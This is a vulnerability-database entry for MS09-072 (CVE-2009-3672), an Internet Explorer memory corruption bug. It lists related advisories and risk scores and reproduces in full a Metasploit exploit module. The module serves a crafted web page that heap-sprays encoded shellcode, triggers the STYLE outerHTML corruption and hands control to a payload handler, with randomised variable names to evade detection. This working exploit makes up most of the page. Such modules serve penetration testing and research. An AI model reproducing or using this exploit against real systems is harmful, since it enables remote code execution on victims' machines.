MS09-072 Microsoft Internet Explorer Style getElementsByTagName Memory Corruption

🗓️ 20 Nov 2009 00:00:00Reported by securitylab.ir <[email protected]>, jduck <[email protected]>Type

MS09-072 Internet Explorer Memory Corruptio

Reporter	Title	Published	Views	Family All 21
Circl	CVE-2009-3672	12 Jul 201000:00	–	circl
Check Point Advisories	Preemptive Protection against Microsoft Internet Explorer HTML Object Memory Corruption Vulnerability	24 Nov 200900:00	–	checkpoint_advisories
Check Point Advisories	Internet Explorer STYLE Object Remote Code Execution (CVE-2009-3672)	26 Nov 200900:00	–	checkpoint_advisories
CVE	CVE-2009-3672	2 Dec 200911:00	–	cve
Cvelist	CVE-2009-3672	2 Dec 200911:00	–	cvelist
Exploit DB	Microsoft Internet Explorer - Style getElementsByTagName Memory Corruption (MS09-072) (Metasploit)	12 Jul 201000:00	–	exploitdb
NVD	CVE-2009-3672	2 Dec 200911:30	–	nvd
OpenVAS	Microsoft Internet Explorer 'Style' Object RCE Vulnerability	4 Dec 200900:00	–	openvas
OpenVAS	MS Internet Explorer 'Style' Object Remote Code Execution Vulnerability	4 Dec 200900:00	–	openvas
Packet Storm	Microsoft Internet Explorer Style getElementsByTagName Memory Corruption	31 Dec 200900:00	–	packetstorm

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  #
  # Superceded by ms10_018_ie_behaviors, disable for BrowserAutopwn
  #
  # include Msf::Exploit::Remote::BrowserAutopwn
  # autopwn_info({
  #	:ua_name    => HttpClients::IE,
  #	:ua_minver  => "6.0",
  #	:ua_maxver  => "7.0",
  #	:javascript => true,
  #	:os_name => OperatingSystems::Match::WINDOWS,
  #	:vuln_test  => nil, # no way to test without just trying it
  #	:rank       => LowRanking  # exploitable on ie7/vista
  # })

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'MS09-072 Microsoft Internet Explorer Style getElementsByTagName Memory Corruption',
        'Description' => %q{
          This module exploits a vulnerability in the getElementsByTagName function
          as implemented within Internet Explorer.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'securitylab.ir <K4mr4n_st[at]yahoo.com>',
          'jduck'
        ],
        'References' => [
          ['MSB', 'MS09-072'],
          ['CVE', '2009-3672'],
          ['OSVDB', '50622'],
          ['BID', '37085'],
          ['URL', 'https://web.archive.org/web/20090316061713/http://taossa.com/archive/bh08sotirovdowd.pdf'],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
          'HTTP::compression' => 'gzip',
          'HTTP::chunked' => true
        },
        'Payload' => {
          'Space' => 1000,
          'BadChars' => "\x00",
          'Compat' =>
                        {
                          'ConnectionType' => '-find',
                        },
          'StackAdjustment' => -3500
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Automatic', {}],
        ],
        'DisclosureDate' => '2009-11-20',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def on_request_uri(cli, request)
    # resulting eips:
    # 0x501d6bd8 # windows vista ie7 (mshtml.dll 7.0.6001.18203)
    # 0xc5fe7dc9 # windows xp sp3 ie6 (mshtml.dll 6.0.2900.5848)
    # nul deref! # windows xp sp3 ie7 (mshtml.dll 7.0.5730.13)
    # 0x6e767fae # windows 2k3 sp2 ie6 (mshtml.dll 6.0.3790.4470)
    # 0x6cf941a7 # windows 2k3 sp2 ie7 (mshtml.dll 7.0.6000.16825)

    print_status("Entering heap spray mode")

    var_memory = rand_text_alpha(rand(100) + 1)
    var_boom = rand_text_alpha(rand(100) + 1)
    var_body = rand_text_alpha(rand(100) + 1)
    var_unescape = rand_text_alpha(rand(100) + 1)
    var_shellcode = rand_text_alpha(rand(100) + 1)
    var_spray = rand_text_alpha(rand(100) + 1)
    var_start = rand_text_alpha(rand(100) + 1)
    var_i = rand_text_alpha(rand(100) + 1)
    var_ss = rand_text_alpha(rand(100) + 1)
    var_fb = rand_text_alpha(rand(100) + 1)
    var_bk = rand_text_alpha(rand(100) + 1)

    html = %Q|<!DOCTYPE>
<head>
<script language=javascript>
function #{var_boom}(){ document.getElementsByTagName('STYLE')[0].outerHTML++; }
function #{var_body}(){
var #{var_unescape} = unescape;
var #{var_shellcode} = #{var_unescape}( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');
var #{var_spray} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
var #{var_ss} = 20 + #{var_shellcode}.length;
while (#{var_spray}.length < #{var_ss}) #{var_spray}+=#{var_spray};
#{var_fb} = #{var_spray}.substring(0,#{var_ss});
#{var_bk} = #{var_spray}.substring(0,#{var_spray}.length-#{var_ss});
while(#{var_bk}.length+#{var_ss} < 0x100000) #{var_bk} = #{var_bk}+#{var_bk}+#{var_fb};
var #{var_memory} = new Array();
for (#{var_i}=0;#{var_i}<1285;#{var_i}++) #{var_memory}[#{var_i}]=#{var_bk}+#{var_shellcode};
#{var_boom}();
}
</script>
<STYLE>* { margin: 0; overflow: scroll }</STYLE>
<BODY ONLOAD="#{var_body}()">
</body>
</html>
|

    # Transmit the response to the client
    send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' })

    # Handle the payload
    handler(cli)
  end
end

20 Nov 2009 00:00Current

5.9Medium risk

Vulners AI Score5.9

CVSS 29.3

EPSS0.71802